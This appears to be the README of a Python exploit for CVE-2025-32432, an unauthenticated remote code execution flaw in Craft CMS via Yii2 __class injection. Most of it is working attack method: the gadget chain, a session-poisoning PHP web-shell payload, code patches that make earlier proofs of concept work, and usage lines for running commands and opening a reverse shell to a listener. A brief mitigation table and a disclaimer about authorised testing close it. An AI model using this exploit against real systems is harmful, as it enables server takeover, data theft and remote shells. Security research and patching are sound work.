
Python exploit for CVE-2025-32432, an unauthenticated RCE in Craft CMS via Yii2 __class injection, with command execution and reverse shell support.
Severity: Critical (CVSS 10.0) Auth required: None Affected: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 Patched in: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50
AssetsController::actionGenerateTransform() is declared allowAnonymous, making it reachable without authentication. It passes the user-controlled handle parameter directly into Yii::createObject():
protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];
public function actionGenerateTransform(): Response
{
$handle = Craft::$app->getRequest()->getBodyParam('handle');
$transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}
Yii's DI container treats two special array keys without any allow-list:
| Key | Behaviour |
|---|---|
__class | Instantiate this class instead of the declared type |
__construct() | Pass these values as constructor arguments |
Gadget chain:
handle[as x][__class] = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
|
PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile
Session file poisoning closes the loop: PHP's session handler writes GET parameter values verbatim into /tmp/sess_<CraftSessionId>. Sending <?=shell_exec($_GET['cmd']);exit;?> as a query parameter plants executable PHP at a known, attacker-controlled path.
Python's requests library URL-encodes <, >, ?, = before they reach the server. The session file stores %3C%3Fphp... (harmless) instead of <?php... (executable).
# BROKEN — requests encodes < > ? = before they reach the server
requests.get(url, params={"a": "<?php system('id'); ?>"})
# Wire: GET /index.php?a=%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E
# Session file: a|s:30:"%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E";
Fix: Monkey-patch HTTPConnectionPool._make_request — the final point before the TCP socket write — and call urllib.parse.unquote() there:
def _raw_request(self, conn, method, url, **kw):
url = urllib.parse.unquote(url) # restore < > ? = just before send
return self._orig_req(conn, method, url, **kw)
urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request
Craft CMS sets CraftSessionId, not PHPSESSID.
# BROKEN
session_id = session.cookies.get("PHPSESSID") # -> None
# FIXED
session_id = sess.cookies.get("CraftSessionId")
Craft validates CSRF tokens on all non-anonymous POST actions. Omitting the token causes 400 Bad Request.
# BROKEN
requests.post(url, json=payload)
# FIXED
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})
| Issue | Log-poisoning PoCs | Session (wrong cookie) | Session (no CSRF) | This PoC |
|---|---|---|---|---|
| URL encoding | N/A (User-Agent) | BROKEN | BROKEN | FIXED monkey-patched |
| Cookie name | N/A | BROKEN PHPSESSID | BROKEN PHPSESSID | FIXED CraftSessionId |
| CSRF on trigger | OK | OK | BROKEN | FIXED |
| Stale log exit; | BROKEN | N/A | N/A | N/A |
| Works on /cms prefix | BROKEN | BROKEN | BROKEN | FIXED |
usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
[--revshell] [--lhost LHOST] [--lport LPORT]
options:
-u URL Craft CMS base URL including path prefix
-c CMD Shell command to execute
-a ASSET_ID Known valid assetId (skips auto-scan)
-s SCAN_MAX Upper bound for assetId scan (default: 50)
--revshell Send a PHP reverse shell
--lhost LHOST Listener IP (required with --revshell)
--lport LPORT Listener port (required with --revshell)
python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"
# Reverse shell (PHP avoids bash quoting issues)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444
| Action | Detail |
|---|---|
| Upgrade Craft CMS | 3.9.15 / 4.14.15 / 5.6.17 validates handle implements ImageTransformerInterface |
| Upgrade Yii2 | 2.0.50 blocks __class injection in Component::__set |
| WAF rule | Block __class or __construct() in request body to /actions/assets/generate-transform |
For authorized security testing and educational purposes only.